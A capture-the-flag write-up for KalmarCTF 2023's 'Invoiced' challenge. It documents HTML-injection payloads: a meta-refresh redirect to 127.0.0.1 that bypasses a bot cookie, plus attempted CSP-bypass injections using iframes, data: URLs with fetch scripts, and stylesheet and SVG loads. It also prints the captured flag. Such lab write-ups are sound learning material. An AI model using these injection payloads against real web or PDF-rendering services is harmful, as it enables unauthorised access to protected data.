KalmarCTF 2023 - Invoiced - Writeup
Final working payload
Name: a</title><meta http-equiv="Refresh" content="0; url='http://127.0.0.1:5000/orders'" />
Others: empty
What we know
- Download source
- Read files:
- payments.js - get discount code FREEZTUFSSZ1412
- app.js - get the implementation
- GET /cart => show form to post to checkout
- POST /checkout => visit url, turn to pdf
- pdf impl: open puppeteer, visit /renderInvoice?name=…, wait for networkidle0, bake to pdf
- GET /renderInvoice => replace variables in template
- URL parameters are rendered without escaping => XSS
- GET /orders => return flag
- Find unique safety features:
- /renderInvoice has:
- CSP
- default-src unsafe-inline maxcdn.bootstrapcdn
- object-src none
- script-src none
- img-src self dummyimage.com
- CSP
- /orders has:
- checks remote address is 127.0.0.1
- checks for no “Bot” cookie
- sets X-Frame-Options to none (NO EFFECT)
- returns flag
- PDF bot always sets the bot cookie
- SameSite=Strict
- HttpOnly
- /renderInvoice has:
Enumerate the possibilities
In no defined order, we tried to inject:
- script tag
- fails because script-src
- meta http-equiv CSP
- first thought it was failing because it was rendered twice…
used tricks like
name=...<!-- address=-->
to no avail wrong, it was failing because of the subtractive principle of csp - if CSP header and meta tag are both present, they are subtractive
- first thought it was failing because it was rendered twice…
used tricks like
- iframe
/orders
- fails because frame-src
- got too stuck on credentialless iframe, spent way too much time
- iframe srcdoc then script
- fails because srcdoc inherits parent CSP
- Reviewing bootstrap
- Nothing interesting .. and would still follow CSP
- Considered scanning maxcdn
- didn’t
<img src="/orders">
- works but wrong mime so broken image :)
- no interesting mime types that are actually plaintext, either
- using
<picture><source src>
to set the mime type doesn’t work- because the flag is not an SVG
- loading it as a VTT subtitle
- using
<video><track>
doesn’t work because CSP (media-src => default-src => no ‘self’)
- using
- got desperate, thought we could load JS from bootstrap cdn
- still can’t, script-src hasn’t changed, it’s still none …
<base>
tag?- no
- trusted types?
- what?
- then
@amahlaka97
flies in witha</title><meta http-equiv="Refresh" content="0; url='http://localhost:5000/orders'" />
- have to bypass bot cookie
- maybe we run the meta inside a credentialless iframe?
- no, because CSP frame-src
- maybe we run the meta inside a credentialless iframe?
amahlaka97
: we somehow just need to get the bot cookie removed from the refresh request- yes
- just change the origin
- localhost is not 127.0.0.1
- HUH WAIT THAT COULD BE IT
a</title><meta http-equiv="Refresh" content="0; url='http://127.0.0.1:5000/orders'" />
- BOOM FLÄG
kalmar{fr33_r34l_3st4t3_c91ad62}
Learnings
- Be comprehensive
- Get an
@amahlaka97
in your team - There are many many ways to load files
- CSP can’t be relaxed, only restricted with more CSP tags
- Never forget meta refresh tag
Ranting and rambling while solving it…
- lots of different things we tried to mess with CSP
<iframe loading="eager" src="/orders" width="200" height="200" style="background:red" credentialless>NOT LOADED</iframe>
- empty page (cc invoice.pdf, invoice2.pdf)
<iframe srcdoc="<!DOCTYPE html>"></iframe>
^ Works but can’t run scripts – it inherits csp
Idea from Carlos (Hi @carlospolop)
https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp
<iframe src='data:text/html,<script>fetch("/orders")</script>'></iframe>
csp default-src ‘unsafe-inline’ maxcdn.bootstrapcdn.com; object-src ’none’; script-src ’none’; img-src ‘self’ dummyimage.com
<iframe src="https://maxcdn.bootstrapcdn.com" sandbox="allow-scripts"></iframe>
We can write the csp tag since name is injected to head?
/renderInvoice?name=</title><meta%20http-equiv="Content-Security-Policy"%20content="default-src%20*%20%27unsafe-inline%27,script-src%20%27unsafe-inline%27">&address=Fred<script>fetch("/orders").then(x=>x.text()).then((text)document.body.innerHTML+=text;</script>
http://localhost:5001/renderInvoice?name=fred%3C/title%3E%3Cmeta%20http-equiv=%22Content-Security-Policy%22%20content=%22frame-src%20*%22%3E&address=%3Ciframe%20src=%22http://localhost:5001/orders%22%20credentialless%3E%3C/iframe%3E
NAME:
fred</title><meta http-equiv="Content-Security-Policy" content="default-src * 'unsafe-inline'; frame-src http://localhost:5001"></head><body><!--
ADDRESS:
--><iframe src="http://localhost:5001/orders" credentialless></iframe>
fred</title><meta http-equiv="Content-Security-Policy" content="default-src * 'unsafe-inline'; script-src *; frame-src http://localhost:5001"></head><body><!--
HMM
Judging the CSP again …
- img-src ‘self’
- the only endpoint without explicit setHeader(“Content-Type”…) is /orders
Can’t load it as CSS (default-src ! ‘self’)
http://invoiced.chal-kalmarc.tf/renderInvoice?name=fred%3C/title%3E%3Clink%20rel=%22stylesheet%22%20href=%22/orders%22%20type=%22text/css%22%3E&address=bork%3Ckalmar%3EHELLO%3C/kalmar%3E
Can’t seem to load it as SVG
http://invoiced.chal-kalmarc.tf/renderInvoice?name=fred%3C/title%3E&address=%3Cpicture%3E%3Csource%20srcset=%22/orders%22%20type=%22image/svg%2bxml%22%20media=%22screen%22%3E%3Cimg%20src=%22https://dummyimage.com/70x70/000/fff%22%3E%3C/picture%3E&phone=hello%3Cstyle%3Ebody{background:url(/orders)}%3C/style%3E
Can’t seem to use base href for anything useful
http://invoiced.chal-kalmarc.tf/renderInvoice?name=fred%3C/title%3E%3Cbase%20href=%22/orders%22%3E&address=%3Cpicture%3E%3Csource%20srcset=%22/orders%22%20type=%22image/svg%2bxml%22%20media=%22screen%22%3E%3Cimg%20src=%22https://dummyimage.com/70x70/000/fff%22%3E%3C/picture%3E&phone=hello%3Cstyle%3Ebody{background:url(/orders)}%3C/style%3E